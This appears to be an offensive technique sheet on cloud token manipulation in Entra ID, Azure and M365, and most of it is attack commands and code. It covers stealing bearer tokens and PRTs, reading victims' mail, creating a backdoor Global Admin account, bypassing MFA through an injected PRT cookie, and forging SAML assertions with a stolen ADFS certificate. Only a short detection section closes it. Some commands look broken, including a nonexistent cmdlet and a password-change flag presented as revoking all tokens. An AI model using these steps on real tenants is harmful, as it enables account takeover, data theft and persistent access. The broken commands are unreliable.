| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-008 |
| MITRE ATT&CK v18.1 | T1134 - Access Token Manipulation (cloud-specific variant) |
| Tactic | Privilege Escalation / Defense Evasion / Lateral Movement |
| Platforms | Entra ID / Azure / M365 / SaaS |
| Severity | Critical |
| CVE | CVE-2025-55241 (Actor Token), CVE-2021-42287 (hybrid), multiple SAML/OAuth flaws |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID versions (cloud-native); varies by SaaS/application |
| Patched In | Ongoing (legacy APIs deprecated); no universal patch |
| Author | SERVTEP – Artur Pchelnikau |
Concept: API Authentication Token Manipulation in cloud environments (Entra ID, Azure, M365, SaaS) involves the theft, modification, or forgery of authentication tokens (JWT, SAML, PRT, OAuth refresh tokens) to impersonate users and gain unauthorized access. Unlike traditional on-premises Kerberos attacks, cloud token attacks leverage API-based authentication and often leave minimal logs. Attack vectors include: (1) Token Theft – stealing bearer tokens from browser memory, network traffic, or logs; (2) Token Manipulation – modifying JWT claims or SAML assertions; (3) Token Forgery – creating new tokens with falsified identities using stolen signing keys; (4) Primary Refresh Token (PRT) Abuse – leveraging device-bound tokens to bypass MFA; (5) Malicious Actor Tokens – exploiting legacy Microsoft service-to-service tokens to impersonate any user across tenants. Successful exploitation grants full cloud account access, including Global Admin privileges in M365/Entra, enabling ransomware deployment, data exfiltration, and persistent backdoors.
Attack Surface: REST APIs (Microsoft Graph, Azure Management API, SaaS APIs), OAuth 2.0/OIDC flows, SAML federation endpoints, Azure AD Graph (legacy, deprecated), device registration services. Attackers target: token issuance endpoints, refresh token mechanisms, federation trust relationships, and unvalidated legacy API endpoints.
Business Impact: Critical – Full Cloud Tenant Compromise. Successful token manipulation enables: (1) Impersonation of Global Administrators; (2) Extraction of all tenant data (Exchange, SharePoint, Teams, OneDrive); (3) Creation of persistent backdoor accounts; (4) Deployment of Azure Runbooks or Logic Apps for ransomware/persistence; (5) Lateral movement to on-premises AD (hybrid scenarios); (6) Compromise of partner/supplier tenants (B2B scenarios).
Technical Context: Cloud token attacks often bypass traditional detection because: (1) No password/MFA logs (tokens already cached); (2) Minimal API-level logging for legacy endpoints; (3) Tokens valid for 1+ hours, allowing extended operations; (4) Multiple token types with overlapping scope; (5) Difficult to distinguish legitimate from forged tokens without crypto verification.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Azure | 1.1 | Multi-factor authentication |
| NIST 800-53 | AC-2, AC-3, IA-2 | Account Management; Access Control; Authentication |
| GDPR | Art. 32 | Technical security of processing; Art. 33 - Breach notification |
| DORA | Art. 9, 18 | Protection measures; Monitoring and logging |
| NIS2 | Art. 21 | Cybersecurity risk management measures |
| ISO 27001 | A.9.2.1, A.9.4.2 | Privileged access; Secure authentication mechanisms |
Supported Platforms:
Prerequisite Checks:
Tools & Dependencies:
# Connect to Entra ID
Connect-MgGraph -Scopes "Directory.Read.All"
# Get token lifetime policies
Get-MgPolicyTokenLifetimePolicy | Select-Object DisplayName, Definition
# Check application-specific policies
Get-MgServicePrincipal -ServicePrincipalNames "graph.microsoft.com" | Select-Object DisplayName, TokenLifetimePolicies
What to Look For:
# Check if Azure AD Graph API is still accessible (deprecated but often still available)
$token = (Get-MgAccessToken -ConsentScope "https://graph.microsoft.com/.default" -ErrorAction SilentlyContinue).AccessToken
$headers = @{Authorization = "Bearer $token"}
# Try Azure AD Graph endpoint (legacy)
Invoke-RestMethod -Uri "https://graph.windows.net/me" -Headers $headers
What to Look For:
Get-MgDomain -DomainId (Get-MgOrganization).Id | Select-Object IsFederationEnabled, FederationConfiguration
# Check SAML certificate (if federated)
$domain = Get-MgDomain -DomainId "domain.com"
$domain.IsFederationEnabled # If $true, domain is federated
What to Look For:
# Check if refresh tokens are accessible via cloud shell history
cat ~/.azure/az.sts.json # Azure CLI token cache (if accessible)
# Use roadtx to enumerate Entra ID
roadtx enum -e | grep -i "user\|token"
# Check for exposed tokens in GitHub/public repos
curl -s "https://api.github.com/search/code?q=entra+token+refresh" | jq '.items[] | select(.name | test("token|auth"))'
Supported Platforms: Entra ID, M365, Azure Portal, SaaS apps
Objective: Steal JWT bearer token from user’s browser or network traffic.
Option A: Browser DevTools (if attacker has device access)
// In browser console, extract token from local storage or session storage
localStorage.getItem("token")
sessionStorage.getItem("access_token")
document.cookie // Check for auth cookies
// JWT typically found in:
// - Authorization: Bearer {JWT}
// - Cookies: graph_auth_token
// - localStorage: access_token, refresh_token
Option B: Network Interception (MITM/Proxy)
# Using Burp Suite:
# 1. Set Burp as proxy in browser
# 2. Navigate to https://portal.azure.com
# 3. Intercept POST to /oauth2/v2.0/token
# 4. Extract access_token from response JSON
# Example response:
# {"access_token":"eyJhbGc...", "refresh_token":"0.AR...", "expires_in":3600}
What This Means:
Command:
# Decode JWT (no verification needed for exploitation)
echo "eyJhbGc..." | jq -R 'split(".") | .[1] | @base64d | fromjson'
# Output shows:
# {
# "aud": "https://graph.microsoft.com",
# "iss": "https://sts.windows.net/{tenant}/",
# "sub": "user-object-id",
# "upn": "user@contoso.com",
# "roles": ["Global Administrator"],
# "exp": 1705000000
# }
What to Look For:
Command (Using Azure CLI):
# Use stolen token
az login --allow-no-subscriptions --use-device-code # Or directly:
export AZURE_ACCESS_TOKEN="eyJhbGc..."
# Access Microsoft Graph API
curl -H "Authorization: Bearer $AZURE_ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages"
Command (Using Burp / Manual HTTP):
# Modify request headers
GET /v1.0/me/messages HTTP/1.1
Host: graph.microsoft.com
Authorization: Bearer eyJhbGc...
# Server accepts token and returns user data
Expected Output:
{
"value": [
{
"id": "email-id",
"sender": {"emailAddress": {"address": "victim@contoso.com"}},
"subject": "Sensitive Data",
"bodyPreview": "..."
}
]
}
Command (Create New User / Backdoor):
# Create new admin account (persistence)
curl -X POST "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $AZURE_ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"accountEnabled": true,
"displayName": "Service Account",
"mailNickname": "svc_persist",
"userPrincipalName": "svc_persist@contoso.com",
"passwordProfile": {
"forceChangePasswordNextSignIn": false,
"password": "P@ssw0rd123!"
}
}'
# Make new user Global Admin
curl -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $AZURE_ACCESS_TOKEN" \
-d '{
"principalId": "new-user-object-id",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10" # Global Admin role
}'
Supported Platforms: Entra ID (especially Windows devices, Azure App Proxy)
Objective: Steal PRT from user’s Entra ID-joined or hybrid-joined Windows device.
Command (Using ROADtools on compromised device):
# If attacker has code execution on user's device:
roadtx gettokens -u -r
# Output:
# Tokens found:
# - access_token: eyJ...
# - refresh_token: 0.AR...
# - prt: 0.APR... (most valuable)
Command (Via Windows CmdKey / Credentials Manager):
# Extract FIDO2 or stored credentials
cmdkey /list # List stored credentials
# Or Mimikatz-style extraction (if admin access):
privilege::debug
token::elevate
What This Means:
Objective: Use stolen PRT to bypass MFA and authenticate as the user.
Command (Browser DevTools / Burp):
// Inject PRT into browser cookies
document.cookie = "x-ms-RefreshTokenCredential=0.APR...; Path=/; Domain=.microsoft.com; Secure; HttpOnly";
// Navigate to Office 365 or Azure Portal
// Browser will use PRT to authenticate, bypassing password/MFA
Command (Python Script for Attack):
import requests
# Create session with PRT cookie
session = requests.Session()
session.cookies.set("x-ms-RefreshTokenCredential", stolen_prt)
# Access O365 without MFA
response = session.get("https://outlook.office.com/mail")
# Success = full mailbox access
What This Means:
Supported Platforms: Entra ID (hybrid), ADFS, On-Premises + Cloud Federated Scenarios
Objective: Steal or extract the SAML signing certificate used by Entra ID/ADFS.
Command (Using PowerShell if admin access):
# Get SAML signing certificate from Entra ID (if hybrid and accessible)
Get-ADUser -SearchBase "CN=Computers" -Filter * | Where-Object { $_.CN -match "ADFS" }
# Extract cert from AD FS server (if compromised)
Get-ChildItem "Cert:\LocalMachine\My" | Where-Object { $_.Subject -match "adfs" }
# Export certificate
$cert = Get-ChildItem "Cert:\LocalMachine\My\{Thumbprint}"
[System.IO.File]::WriteAllBytes("C:\Temp\adfs-cert.pfx", $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx))
Command (Via Entra ID Portal if authenticated as admin):
# Using Azure CLI to export SAML cert
az ad app show --id "enterprise-app-id" | jq '.keyCredentials[] | select(.usage=="Sig")'
# Or via Graph API
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
"https://graph.microsoft.com/v1.0/applications/{app-id}/keyCredentials"
What This Means:
Objective: Generate a valid SAML token impersonating Global Admin.
Command (Using Python + pysaml2):
import saml2
from saml2.saml import NAMEID_FORMAT_EMAILADDRESS
from datetime import datetime, timedelta
import base64
# Load stolen ADFS certificate + private key
from OpenSSL import crypto
cert_file = open("adfs-cert.pfx", "rb")
p12 = crypto.load_pkcs12(cert_file.read(), password=b"certificate_password")
private_key = crypto.dump_privatekey(crypto.FILETYPE_PEM, p12.get_privatekey())
certificate = crypto.dump_certificate(crypto.FILETYPE_PEM, p12.get_certificate())
# Create forged SAML assertion
assertion_xml = """<?xml version="1.0" encoding="UTF-8"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
Version="2.0" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6"
IssueInstant="2024-01-01T10:00:00Z">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://adfs.contoso.com/adfs/services/trust
</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
admin@contoso.com
</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2024-01-01T10:00:00Z" NotOnOrAfter="2024-01-01T11:00:00Z"/>
<saml:AuthnStatement AuthnInstant="2024-01-01T10:00:00Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="http://schemas.microsoft.com/identity/claims/objectidentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue>global-admin-oid</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.microsoft.com/identity/claims/role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue>Global Administrator</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>"""
# Sign with stolen private key (simplified)
# In real attack, use proper SAML library for signing
Command (Using Burp / Manual SAML Request):
# SAML tokens submitted via POST to:
# https://login.microsoftonline.com/common/saml2
# Forged token POSTed with:
POST /common/saml2 HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
SAMLResponse={base64-encoded-forged-assertion}
# If token signature valid (matches stolen cert), Entra ID accepts it
# Attacker receives access token for "admin@contoso.com"
Expected Outcome:
Installation:
Install-Module -Name AADInternals -Force
Usage:
# Get user tokens
$tokens = Get-AADIntUserTokens -credentials $cred
# Extract PRT
$prt = $tokens.PrimaryRefreshToken
# Forge tokens, enumerate, etc.
URL: GitHub - ROADtools
Installation:
pip3 install roadtx
Usage:
# Extract tokens from compromised device
roadtx gettokens -u -r
# Use tokens to access services
roadtx azure -t access_token
URL: Portswigger - SAML Raider
Usage: GUI-based; intercept SAML requests and modify claims
KQL Query:
AuditLogs
| where Category == "Authentication" or OperationName =~ ".*token.*"
| where ResultDescription !contains "Success"
| project TimeGenerated, OperationName, InitiatedBy, ResultDescription
KQL Query:
MicrosoftGraphActivityLogs
| where RequestMethod == "POST"
| where ResourceDisplayName =~ "users|roles|applications"
| summarize Count = count() by InitiatedBy, ResourceDisplayName
| where Count > 5 // Threshold for suspicious activity
# Force sign-out (revoke all tokens)
az ad user update --id compromised@contoso.com --force-change-password-next-sign-in